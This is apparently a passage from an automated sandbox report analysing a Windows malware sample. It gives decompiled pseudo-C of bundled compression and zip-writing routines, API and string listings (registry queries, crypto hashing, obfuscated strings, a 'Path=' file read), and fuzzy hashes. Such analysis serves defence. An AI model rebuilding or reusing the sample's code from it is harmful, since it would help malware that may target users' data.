RegQueryValueExA.ADVAPI32 ref: 004105D9
RegCloseKey.ADVAPI32 ref: 004105F8

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$CloseOpenmalloc
String ID:
API String ID: 3087825141-0
Opcode ID: a5a8d7ed265dbacac949492c225b59f34b6479b8ecf545dfcad59583b2771f2c
Instruction ID: dddce03a098769392e7a375fb59deb789f7659c2eda9270703039da878427773
Opcode Fuzzy Hash: a5a8d7ed265dbacac949492c225b59f34b6479b8ecf545dfcad59583b2771f2c
Instruction Fuzzy Hash: EC21A3B05083019FD700EF29D58465BBBE4BF88748F00892EF8C893201E778DA888F86

Uniqueness

Uniqueness Score: -1.00%

Function 004156D4, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 289
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004156D4(void* __eax, void* __edx) {
				signed int _v32;
				signed char* _v36;
				unsigned int _v40;
				intOrPtr _v52;
				unsigned int _v56;
				signed int _t170;
				signed int _t179;
				signed int _t182;
				signed char _t189;
				unsigned int _t190;
				unsigned int _t196;
				void* _t197;
				signed int _t206;
				void* _t207;
				signed char* _t208;
				signed char _t210;
				signed int _t211;
				signed char _t212;
				signed int _t213;
				signed int _t218;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed char _t230;
				signed char _t233;
				signed int _t234;
				signed char _t235;
				signed char _t242;
				signed int _t245;
				signed int _t251;
				signed int _t253;
				signed int _t254;
				void* _t257;
				signed int _t263;
				void* _t267;
				signed int _t268;
				unsigned int _t274;
				void* _t275;
				char** _t276;

				_t207 = __eax;
				_t276 = _t275 - 0x2c;
				if(__edx == 0) {
					E00415079(__eax);
				} else {
					_t257 = __eax + 0x8f12;
					_t197 = 0;
					do {
						 *((char*)(_t257 + _t197)) = 8;
						_t197 = _t197 + 1;
					} while (_t197 != 0x90);
					do {
						 *((char*)(_t257 + _t197)) = 9;
						_t197 = _t197 + 1;
					} while (_t197 != 0x100);
					do {
						 *((char*)(_t257 + _t197)) = 7;
						_t197 = _t197 + 1;
					} while (_t197 != 0x118);
					do {
						 *((char*)(_t257 + _t197)) = 8;
						_t197 = _t197 + 1;
						_t283 = _t197 - 0x120;
					} while (_t197 != 0x120);
					_t267 = __eax + 0x9032;
					memset(_t267, 5, 0x20 << 0);
					_t276 =  &(_t276[3]);
					_t263 = _t267 + 0x20;
					_v56 = 1;
					 *_t276 = 0xf;
					E00414976(_t207, 0x120, 0, _t283);
					_v56 = 1;
					 *_t276 = 0xf;
					E00414976(_t207, 0x20, 1, _t283);
					_t242 =  *(_t207 + 0x44);
					 *(_t207 + 0x48) =  *(_t207 + 0x48) | 0x00000001 << _t242;
					 *(_t207 + 0x44) = _t242 + 2;
					while( *(_t207 + 0x44) > 7) {
						_t206 =  *(_t207 + 0x30);
						if(_t206 <  *((intOrPtr*)(_t207 + 0x34))) {
							 *(_t207 + 0x30) = _t206 + 1;
							 *_t206 =  *(_t207 + 0x48);
						}
						 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
						 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
					}
				}
				_t208 = _t207 + 0x9272;
				_t274 = 1;
				while(1) {
					__eflags = _t208 -  *((intOrPtr*)(_t207 + 0x28));
					if(_t208 >=  *((intOrPtr*)(_t207 + 0x28))) {
						goto L62;
					}
					__eflags = _t274 - 1;
					if(_t274 == 1) {
						_t189 =  *_t208 & 0x000000ff;
						_t208 =  &(_t208[1]);
						_t190 = _t189 | 0x00000001;
						__eflags = _t190;
						_t274 = _t190;
					}
					__eflags = _t274 & 0x00000001;
					_t245 =  *_t208 & 0x000000ff;
					if((_t274 & 0x00000001) == 0) {
						_t230 =  *((intOrPtr*)(_t207 + _t245 + 0x8f12));
						_v36 =  &(_t208[1]);
						__eflags = _t230;
						if(_t230 != 0) {
							_t182 =  *(_t207 + 0x8852 + _t245 * 2) & 0x0000ffff;
							_t245 = _t230 & 0x000000ff;
							_t263 = 1 << _t230;
							__eflags = _t182;
							if(_t182 <= 0) {
								_t233 =  *(_t207 + 0x44);
								 *(_t207 + 0x48) =  *(_t207 + 0x48) | _t182 << _t233;
								_t234 = _t233 + _t245;
								__eflags = _t234;
								 *(_t207 + 0x44) = _t234;
								while(1) {
									__eflags =  *(_t207 + 0x44) - 7;
									if( *(_t207 + 0x44) <= 7) {
										goto L61;
									}
									_t253 =  *(_t207 + 0x30);
									__eflags = _t253 -  *((intOrPtr*)(_t207 + 0x34));
									if(_t253 <  *((intOrPtr*)(_t207 + 0x34))) {
										 *(_t207 + 0x30) = _t253 + 1;
										 *_t253 =  *(_t207 + 0x48);
									}
									 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
									 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
								}
							} else {
								_v52 = 0xc1b;
								goto L21;
							}
						} else {
							_v52 = 0xc1a;
							_v56 = 0x424620;
							 *_t276 = "d->m_huff_code_sizes[0][lit]";
							goto L22;
						}
					} else {
						_t268 =  *(_t245 + _t245 + 0x425440) & 0x0000ffff;
						_v40 = _t208[1] & 0x0000ffff;
						_t235 =  *((intOrPtr*)(_t207 + _t268 + 0x8f12));
						_v36 =  &(_t208[3]);
						__eflags = _t235;
						if(_t235 != 0) {
							_t268 =  *(_t207 + 0x8852 + _t268 * 2) & 0x0000ffff;
							_t263 = _t235 & 0x000000ff;
							__eflags = _t268 - (1 << _t235) - 1;
							if(_t268 > (1 << _t235) - 1) {
								_v52 = 0xc0b;
								L21:
								_v56 = 0x424620;
								 *_t276 = "bits <= ((1U << len) - 1U)";
								goto L22;
							}
						} else {
							_v52 = 0xc09;
							_v56 = 0x424620;
							 *_t276 = "d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]";
							L22:
							L0041F7E4();
						}
						_t212 =  *(_t207 + 0x44);
						 *(_t207 + 0x48) =  *(_t207 + 0x48) | _t268 << _t212;
						_t213 = _t212 + _t263;
						__eflags = _t213;
						 *(_t207 + 0x44) = _t213;
						while(1) {
							_t263 =  *(_t207 + 0x44);
							__eflags = _t263 - 7;
							if(_t263 <= 7) {
								break;
							}
							_t229 =  *(_t207 + 0x30);
							__eflags = _t229 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t229 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t229 + 1;
								 *_t229 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
						_t268 =  *(_t245 + 0x425340) & 0x000000ff;
						_t245 = _t245 &  *(0x424de0 + _t268 * 4);
						__eflags = _t245 - (1 << _t268) - 1;
						if(_t245 > (1 << _t268) - 1) {
							_v52 = 0xc0d;
							goto L21;
						}
						_t61 = _t207 + 0x48;
						 *_t61 =  *(_t207 + 0x48) | _t245 << _t263;
						__eflags =  *_t61;
						 *(_t207 + 0x44) = _t268 + _t263;
						while(1) {
							_t268 =  *(_t207 + 0x44);
							__eflags = _t268 - 7;
							if(_t268 <= 7) {
								break;
							}
							_t228 =  *(_t207 + 0x30);
							__eflags = _t228 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t228 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t228 + 1;
								 *_t228 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
						__eflags = _v40 - 0x1ff;
						if(_v40 > 0x1ff) {
							_t251 = _v40 >> 8;
							__eflags = _t251;
							_t79 = _t251 + 0x424ec0; // 0x7070707
							_t218 =  *_t79 & 0x000000ff;
							_t80 = _t251 + 0x424e40; // 0x7070706
							_t245 =  *_t80 & 0x000000ff;
						} else {
							_t196 = _v40;
							_t76 = _t196 + 0x425140; // 0x11
							_t218 =  *_t76 & 0x000000ff;
							_t77 = _t196 + 0x424f40; // 0x2010007
							_t245 =  *_t77 & 0x000000ff;
						}
						_t263 =  *(_t207 + 0x8a92 + _t218 * 2) & 0x0000ffff;
						_v32 =  *(_t207 + _t218 + 0x9032) & 0x000000ff;
						__eflags = _t263 - (1 << _v32) - 1;
						if(_t263 > (1 << _v32) - 1) {
							_v52 = 0xc16;
							goto L21;
						}
						_t90 = _t207 + 0x48;
						 *_t90 =  *(_t207 + 0x48) | _t263 << _t268;
						__eflags =  *_t90;
						 *(_t207 + 0x44) = _t268 + _v32;
						while(1) {
							_t268 =  *(_t207 + 0x44);
							__eflags = _t268 - 7;
							if(_t268 <= 7) {
								break;
							}
							_t227 =  *(_t207 + 0x30);
							__eflags = _t227 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t227 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t227 + 1;
								 *_t227 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
						_t179 = _v40 &  *(0x424de0 + _t245 * 4);
						_t263 = 1 << _t245;
						__eflags = _t179;
						if(_t179 > 0) {
							_v52 = 0xc17;
							goto L21;
						}
						_t107 = _t207 + 0x48;
						 *_t107 =  *(_t207 + 0x48) | _t179 << _t268;
						__eflags =  *_t107;
						 *(_t207 + 0x44) = _t245 + _t268;
						while(1) {
							__eflags =  *(_t207 + 0x44) - 7;
							if( *(_t207 + 0x44) <= 7) {
								goto L61;
							}
							_t254 =  *(_t207 + 0x30);
							__eflags = _t254 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t254 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t254 + 1;
								 *_t254 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
					}
					L61:
					_t274 = _t274 >> 1;
					_t208 = _v36;
					continue;
					L62:
					_t268 =  *(_t207 + 0x9012) & 0x000000ff;
					_t245 =  *(_t207 + 0x8a52) & 0x0000ffff;
					__eflags = _t245 - (1 << _t268) - 1;
					if(_t245 > (1 << _t268) - 1) {
						_v52 = 0xc1f;
						goto L21;
					}
					_t210 =  *(_t207 + 0x44);
					 *(_t207 + 0x48) =  *(_t207 + 0x48) | _t245 << _t210;
					_t211 = _t210 + _t268;
					__eflags = _t211;
					 *(_t207 + 0x44) = _t211;
					while(1) {
						__eflags =  *(_t207 + 0x44) - 7;
						_t170 =  *(_t207 + 0x30);
						if( *(_t207 + 0x44) <= 7) {
							break;
						}
						__eflags = _t170 -  *((intOrPtr*)(_t207 + 0x34));
						if(_t170 <  *((intOrPtr*)(_t207 + 0x34))) {
							 *(_t207 + 0x30) = _t170 + 1;
							 *_t170 =  *(_t207 + 0x48);
						}
						 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
						 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
					}
					__eflags = _t170 -  *((intOrPtr*)(_t207 + 0x34));
					_t164 = _t170 -  *((intOrPtr*)(_t207 + 0x34)) > 0;
					__eflags = _t164;
					return (_t170 & 0xffffff00 | _t164) & 0x000000ff;
				}
			}

0x004156d8
0x004156da
0x004156df
0x004157a1
0x004156e5
0x004156e5
0x004156eb
0x004156ed
0x004156ed
0x004156f1
0x004156f2
0x004156f9
0x004156f9
0x004156fd
0x004156fe
0x00415705
0x00415705
0x00415709
0x0041570a
0x00415711
0x00415711
0x00415715
0x00415716
0x00415716
0x0041572a
0x0041572e
0x0041572e
0x0041572e
0x00415737
0x0041573f
0x00415746
0x00415752
0x0041575a
0x00415766
0x0041576b
0x00415775
0x0041577b
0x0041577e
0x00415784
0x0041578a
0x0041578f
0x00415795
0x00415795
0x00415797
0x0041579b
0x0041579b
0x0041577e
0x004157a6
0x004157ac
0x004157b1
0x004157b1
0x004157b4
0x00000000
0x00000000
0x004157ba
0x004157bd
0x004157bf
0x004157c2
0x004157c3
0x004157c3
0x004157c6
0x004157c6
0x004157c8
0x004157ce
0x004157d1
0x004159c9
0x004159d0
0x004159d4
0x004159d6
0x004159f4
0x00415a01
0x00415a04
0x00415a09
0x00415a0b
0x00415a1a
0x00415a1f
0x00415a22
0x00415a22
0x00415a24
0x00415a27
0x00415a27
0x00415a2b
0x00000000
0x00000000
0x00415a2d
0x00415a30
0x00415a33
0x00415a38
0x00415a3e
0x00415a3e
0x00415a40
0x00415a44
0x00415a44
0x00415a0d
0x00415a0d
0x00000000
0x00415a0d
0x004159d8
0x004159d8
0x004159e0
0x004159e8
0x00000000
0x004159e8
0x004157d7
0x004157db
0x004157e3
0x004157ea
0x004157f1
0x004157f5
0x004157f7
0x00415812
0x0041581f
0x00415827
0x00415829
0x0041582b
0x00415833
0x00415833
0x0041583b
0x00000000
0x0041583b
0x004157f9
0x004157f9
0x00415801
0x00415809
0x00415842
0x00415842
0x00415842
0x00415847
0x0041584c
0x0041584f
0x0041584f
0x00415851
0x00415854
0x00415854
0x00415857
0x0041585a
0x00000000
0x00000000
0x0041585c
0x0041585f
0x00415862
0x0041586a
0x0041586d
0x0041586d
0x0041586f
0x00415873
0x00415873
0x00415879
0x00415887
0x00415893
0x00415895
0x00415897
0x00000000
0x00415897
0x004158a7
0x004158a7
0x004158a7
0x004158aa
0x004158ad
0x004158ad
0x004158b0
0x004158b3
0x00000000
0x00000000
0x004158b5
0x004158b8
0x004158bb
0x004158c0
0x004158c6
0x004158c6
0x004158c8
0x004158cc
0x004158cc
0x004158d2
0x004158da
0x004158f4
0x004158f4
0x004158f7
0x004158f7
0x004158fe
0x004158fe
0x004158dc
0x004158dc
0x004158e0
0x004158e0
0x004158e7
0x004158e7
0x004158e7
0x0041590d
0x00415915
0x00415927
0x00415929
0x0041592b
0x00000000
0x0041592b
0x00415940
0x00415940
0x00415940
0x00415943
0x00415946
0x00415946
0x00415949
0x0041594c
0x00000000
0x00000000
0x0041594e
0x00415951
0x00415954
0x0041595c
0x0041595f
0x0041595f
0x00415961
0x00415965
0x00415965
0x00415976
0x0041597d
0x00415982
0x00415984
0x00415986
0x00000000
0x00415986
0x00415999
0x00415999
0x00415999
0x0041599c
0x0041599f
0x0041599f
0x004159a3
0x00000000
0x00000000
0x004159a9
0x004159ac
0x004159af
0x004159b4
0x004159ba
0x004159ba
0x004159bc
0x004159c0
0x004159c0
0x0041599f
0x00415a4a
0x00415a4a
0x00415a4c
0x00000000
0x00415a55
0x00415a55
0x00415a5c
0x00415a6d
0x00415a6f
0x00415a71
0x00000000
0x00415a71
0x00415a7e
0x00415a83
0x00415a86
0x00415a86
0x00415a88
0x00415a8b
0x00415a8b
0x00415a8f
0x00415a92
0x00000000
0x00000000
0x00415a94
0x00415a97
0x00415a9c
0x00415aa2
0x00415aa2
0x00415aa4
0x00415aa8
0x00415aa8
0x00415aae
0x00415ab1
0x00415ab1
0x00415abe
0x00415abe

APIs

_assert.MSVCRT ref: 00415842

Strings

bits <= ((1U << len) - 1U), xrefs: 0041583B
d->m_huff_code_sizes[0][lit], xrefs: 004159E8
d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]], xrefs: 00415809

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: bits <= ((1U << len) - 1U)$d->m_huff_code_sizes[0][lit]$d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]
API String ID: 1222420520-3917244286
Opcode ID: b365e1a91a629f8d5d0a6539e6d1db4ee13a3ce192b39cc27d36e14ed0313d0d
Instruction ID: 02c501d629119b96732dab3827091775e2cd41ca3c12195cf54572b6c693842a
Opcode Fuzzy Hash: b365e1a91a629f8d5d0a6539e6d1db4ee13a3ce192b39cc27d36e14ed0313d0d
Instruction Fuzzy Hash: A8C18B70508620CBDB18DF28C0C06E97BA1EF81304F58869ADC958F34AE77AD8C9CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E557, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041E557(signed int __ecx, char* _a4, intOrPtr _a8) {
				char _v552;
				signed int _v556;
				char _v560;
				char _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v590;
				char _v600;
				char _v604;
				char* _v608;
				char* _v612;
				char _v616;
				int _v620;
				signed int _v624;
				char _v628;
				char* _v652;
				signed int _v656;
				char* _v660;
				signed int _v664;
				signed int _t111;
				signed int _t112;
				char _t114;
				void* _t118;
				char* _t124;
				signed int _t126;
				signed int _t127;
				void* _t131;
				char _t133;
				char _t140;
				char _t151;
				char* _t157;
				void* _t160;
				signed int _t163;
				char _t165;
				signed int _t167;
				char _t169;
				signed int _t173;
				char _t174;
				void* _t184;
				char* _t187;
				intOrPtr _t188;
				char _t189;

				_t191 =  &_v652;
				_t187 = _a4;
				_t188 = _a8;
				if(_t187 == 0) {
					L24:
					_t112 = _t111 | 0xffffffff;
					__eflags = _t112;
					return _t112;
				}
				_t3 =  &_v620;
				 *_t3 = _t188 == 0;
				if( *_t3 == 0) {
					goto L24;
				}
				_t111 = _v620;
				asm("repne scasb");
				_t157 =  !(__ecx | 0xffffffff) - 1;
				_v612 = _t157;
				if(_t157 == 0) {
					goto L24;
				}
				_t111 = E004162D5(_t188, _t157);
				_t187[0x5c] = _t111;
				if(_t111 == 0) {
					goto L24;
				}
				_t151 = _t187[0x14];
				if(_t151 != 1) {
					_t114 =  *_t187;
					_t169 = _t187[4];
					_t189 = _t187[0x10];
					_t187[0x68] = 0;
					_t187[0x6c] = 0;
					_t187[0x60] = 0;
					_t187[0x78] = _t114;
					_t187[0x7c] = _t169;
					_t187[0xa0] = _t114;
					_t187[0xa4] = _t169;
					_v628 = _t114;
					_v624 = _t169;
					_t187[0x58] = _t189;
					_t187[0x64] = 0;
					_t187[0x70] = 0;
					memset( &(_t187[0x80]), _v620, 0x1e << 0);
					_t191 =  &(( &_v652)[3]);
					_t187[0xa8] = 0;
					_t187[0x4e008] = 0;
					_t118 = E0041493A(_t187);
					__eflags = _t187[0x48];
					_t160 = _t118;
					if(_t187[0x48] == 0) {
						L22:
						_t111 = _t187[0x5c];
						__eflags = _t111;
						if(_t111 != 0) {
							 *_t191 = _t111;
							free(??);
							_t187[0x5c] = 0;
						}
						goto L24;
					}
					__eflags = _t151 - 2;
					if(_t151 != 2) {
						goto L22;
					}
					__eflags = _t187[0x51] & 0x00000004;
					if((_t187[0x51] & 0x00000004) != 0) {
						goto L22;
					}
					__eflags = _t189 - 0xffff;
					if(_t189 == 0xffff) {
						goto L22;
					}
					_t184 = _t118;
					_v616 = 0;
					_v620 = _v612;
					asm("adc edx, 0x0");
					asm("adc edx, [esp+0x34]");
					asm("adc edx, ebp");
					__eflags = _v624;
					if(__eflags > 0) {
						goto L22;
					}
					_t66 = _t160 + 0x1e; // 0x1e
					_t124 = _t66;
					_v608 = _t124;
					 *_t191 = _t124;
					_t126 = E00414DC1(_t187, _v624, _v628, __eflags);
					__eflags = _t126;
					if(_t126 == 0) {
						goto L22;
					}
					_t173 = _t187[0x24];
					_t163 = _t184 + _t187[0xa0];
					_t127 = _t187[0x20];
					asm("adc ebx, [esi+0xa4]");
					__eflags = _t173 | _t127;
					_t187[0xa0] = _t163;
					_t187[0xa4] = 0;
					if((_t173 | _t127) != 0) {
						asm("adc edx, 0xffffffff");
						__eflags = _t173 & 0 | _t127 + 0xffffffff & _t163;
						if((_t173 & 0 | _t127 + 0xffffffff & _t163) != 0) {
							_v660 = 0x147;
							_v664 = 0x4249cc;
							 *_t191 = "(zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0";
							L0041F7E4();
						}
					}
					_t165 =  &(_v608[_t187[0x78]]);
					asm("adc ebx, [esi+0x7c]");
					_t187[0x78] = _t165;
					_t187[0x7c] = 0;
					_v652 = _v612;
					_v664 = _t165;
					_v660 = 0;
					_v656 = _t187[0x5c];
					 *_t191 = _t187[0x44];
					_t131 = _t187[0x3c]();
					__eflags = _v612 - _t131;
					if(_v612 != _t131) {
						goto L22;
					} else {
						_t133 = _v620 + _t187[0x78];
						_t174 = _v616;
						asm("adc edx, [esi+0x7c]");
						_t167 = _t187[0x50] & 0x0000000f;
						__eflags = _t167;
						_t187[0x78] = _t133;
						_t187[0x7c] = _t174;
						if(_t167 != 0) {
							_t187[0xbc] = _t174;
							_t187[0xb0] = _t187;
							_t187[0xb8] = _t133;
							_t187[0xc0] = 0;
							_t187[0xc4] = 0;
							 *_t191 = _t167;
							_v660 = 0;
							_v664 = 0xfffffff1;
							_v656 = E0041A99E();
							_v664 = E00416018;
							_v660 =  &(_t187[0xb0]);
							 *_t191 =  &(_t187[0xc8]);
							_t133 = E0041A64C();
							__eflags = _t133;
							if(_t133 == 0) {
								goto L19;
							}
							goto L22;
						}
						L19:
						 *_t191 = 0;
						L0041F6BC();
						L20:
						_t187[0x4e00c] = _t133;
						return 0;
					}
				}
				_v656 = 0;
				_v660 = 0;
				_v664 = _t111;
				 *_t191 = _t187;
				_t140 = E0041B6F9(_t111, _t157);
				_t187[0x58] = _t140;
				if(_t140 < 0) {
					goto L22;
				}
				_v664 = _t140;
				 *_t191 = _t187;
				_v660 =  &_v604;
				if(E0041B06A() == 0) {
					goto L22;
				} else {
					_t187[0x7c] = 0;
					_t187[0x68] = _v580;
					_t187[0x6c] = _v576;
					_t187[0x60] = _v572;
					_t187[0x64] = _v568;
					_t187[0x70] = _v584;
					_t187[0xa4] = _v552;
					_t187[0x78] = _v600;
					_t187[0xa0] = _v556;
					_t187[0xa8] = _v590;
					_t187[0x4e008] = _v560;
					_t133 = _v588;
					goto L20;
				}
			}

0x0041e55b
0x0041e561
0x0041e568
0x0041e571
0x0041e89b
0x0041e89b
0x0041e89b
0x00000000
0x0041e89b
0x0041e579
0x0041e579
0x0041e57e
0x00000000
0x00000000
0x0041e584
0x0041e58d
0x0041e595
0x0041e596
0x0041e59a
0x00000000
0x00000000
0x0041e5a4
0x0041e5ab
0x0041e5ae
0x00000000
0x00000000
0x0041e5b4
0x0041e5ba
0x0041e667
0x0041e669
0x0041e671
0x0041e674
0x0041e67b
0x0041e682
0x0041e689
0x0041e68c
0x0041e68f
0x0041e695
0x0041e69b
0x0041e69f
0x0041e6ad
0x0041e6b2
0x0041e6b9
0x0041e6c0
0x0041e6c0
0x0041e6c2
0x0041e6cb
0x0041e6d7
0x0041e6dc
0x0041e6e0
0x0041e6e2
0x0041e885
0x0041e885
0x0041e888
0x0041e88a
0x0041e88c
0x0041e88f
0x0041e894
0x0041e894
0x00000000
0x0041e88a
0x0041e6e8
0x0041e6eb
0x00000000
0x00000000
0x0041e6f1
0x0041e6f5
0x00000000
0x00000000
0x0041e6fb
0x0041e701
0x00000000
0x00000000
0x0041e707
0x0041e713
0x0041e71b
0x0041e726
0x0041e72d
0x0041e733
0x0041e735
0x0041e738
0x00000000
0x00000000
0x0041e73e
0x0041e73e
0x0041e749
0x0041e74d
0x0041e752
0x0041e757
0x0041e759
0x00000000
0x00000000
0x0041e761
0x0041e764
0x0041e76c
0x0041e76f
0x0041e777
0x0041e779
0x0041e77f
0x0041e785
0x0041e78a
0x0041e791
0x0041e793
0x0041e795
0x0041e79d
0x0041e7a5
0x0041e7ac
0x0041e7ac
0x0041e793
0x0041e7b7
0x0041e7ba
0x0041e7c1
0x0041e7c4
0x0041e7c7
0x0041e7ce
0x0041e7d2
0x0041e7d6
0x0041e7dd
0x0041e7e0
0x0041e7e3
0x0041e7e7
0x00000000
0x0041e7ed
0x0041e7f1
0x0041e7f4
0x0041e7fb
0x0041e7fe
0x0041e7fe
0x0041e801
0x0041e804
0x0041e807
0x0041e81f
0x0041e825
0x0041e82b
0x0041e831
0x0041e83b
0x0041e845
0x0041e848
0x0041e850
0x0041e85d
0x0041e867
0x0041e86f
0x0041e879
0x0041e87c
0x0041e881
0x0041e883
0x00000000
0x00000000
0x00000000
0x0041e883
0x0041e809
0x0041e809
0x0041e810
0x0041e815
0x0041e815
0x00000000
0x0041e81b
0x0041e7e7
0x0041e5c0
0x0041e5c8
0x0041e5d0
0x0041e5d4
0x0041e5d7
0x0041e5de
0x0041e5e1
0x00000000
0x00000000
0x0041e5eb
0x0041e5ef
0x0041e5f2
0x0041e5fd
0x00000000
0x0041e603
0x0041e60b
0x0041e612
0x0041e619
0x0041e620
0x0041e627
0x0041e62e
0x0041e635
0x0041e63b
0x0041e642
0x0041e64d
0x0041e658
0x0041e65e
0x00000000
0x0041e65e

APIs

Part of subcall function 004162D5: malloc.MSVCRT ref: 004162E5

_assert.MSVCRT ref: 0041E7AC
free.MSVCRT(?), ref: 0041E88F

Part of subcall function 0041B06A: mktime.MSVCRT ref: 0041B156

Strings

(zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0, xrefs: 0041E7A5

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assertfreemallocmktime
String ID: (zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0
API String ID: 3323008696-2866909811
Opcode ID: c4bf59fc29830c843d8361e995f1366899ef6f7b713e9cb50b4e39fef3ade159
Instruction ID: 3dca5e95c5ab967c09f080b3d2ea03d2fc68d3d15dd66e283c87f82fc43bd00f
Opcode Fuzzy Hash: c4bf59fc29830c843d8361e995f1366899ef6f7b713e9cb50b4e39fef3ade159
Instruction Fuzzy Hash: D0A1D8B4904B408FD360DF2AC48475BBBE1BF88354F54892EE9EA87750D778E885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040D420, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D290: CryptAcquireContextA.ADVAPI32 ref: 0040D2E2
Part of subcall function 0040D290: CryptCreateHash.ADVAPI32 ref: 0040D31C
Part of subcall function 0040D290: CryptHashData.ADVAPI32 ref: 0040D34B
Part of subcall function 0040D290: CryptGetHashParam.ADVAPI32 ref: 0040D38A

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

RegQueryValueExA.ADVAPI32 ref: 0040D4EC
LocalFree.KERNEL32 ref: 0040D5B8

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

P0Zs5uRs0W5dY5aC5C, xrefs: 0040D499
Y0Zs5Nh.Sii, xrefs: 0040D478

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Hash$AcquireAddressContextCreateDataFreeLibraryLoadLocalParamProcQueryValue_vsnprintf
String ID: P0Zs5uRs0W5dY5aC5C$Y0Zs5Nh.Sii
API String ID: 2081058215-3187465909
Opcode ID: 5a86b60eb7b24f86e885ff524fb9dc5150f0e0451a94be218f3f5f5105dd560d
Instruction ID: 3ebc2064e8f7268df4b8e6a934d6e56f21a9b96c1547cc96c36b4704c4ff52fe
Opcode Fuzzy Hash: 5a86b60eb7b24f86e885ff524fb9dc5150f0e0451a94be218f3f5f5105dd560d
Instruction Fuzzy Hash: 78419CB4A083419FD710EF69C58465AFBF0BF85358F00892EE8C897351EB79D588CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004211C0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00421315

Strings

8, xrefs: 004212FE
../nettle-3.5.1/aes-set-key-internal.c, xrefs: 00421306
nk != 0, xrefs: 0042130E

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/aes-set-key-internal.c$8$nk != 0
API String ID: 1222420520-577961111
Opcode ID: d0b8bfb88443995b5d46237e8dd2c2796db4cd98f11c714f3134454e1f713599
Instruction ID: 89e7217bd13c7babcd5adc9bb28dc37eee23235c195977e0ffb5d0d95595f474
Opcode Fuzzy Hash: d0b8bfb88443995b5d46237e8dd2c2796db4cd98f11c714f3134454e1f713599
Instruction Fuzzy Hash: E74127707082B14BE3188F1D989413EBFE1ABD6201FCA4AAFF4C5C7252D539D518CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040B016, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040B056
fread.MSVCRT ref: 0040B080
fclose.MSVCRT ref: 0040B0F3

Strings

Path=, xrefs: 0040B091

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfread
String ID: Path=
API String ID: 2679521937-3676292482
Opcode ID: e2600f1d5f8662e9c392fe55e0e07e3544c7b57ce058911e094c9610cb459c02
Instruction ID: 2438fad20f86bae77410323f418e8e562921bdaa67428cf1c8451c05b399b209
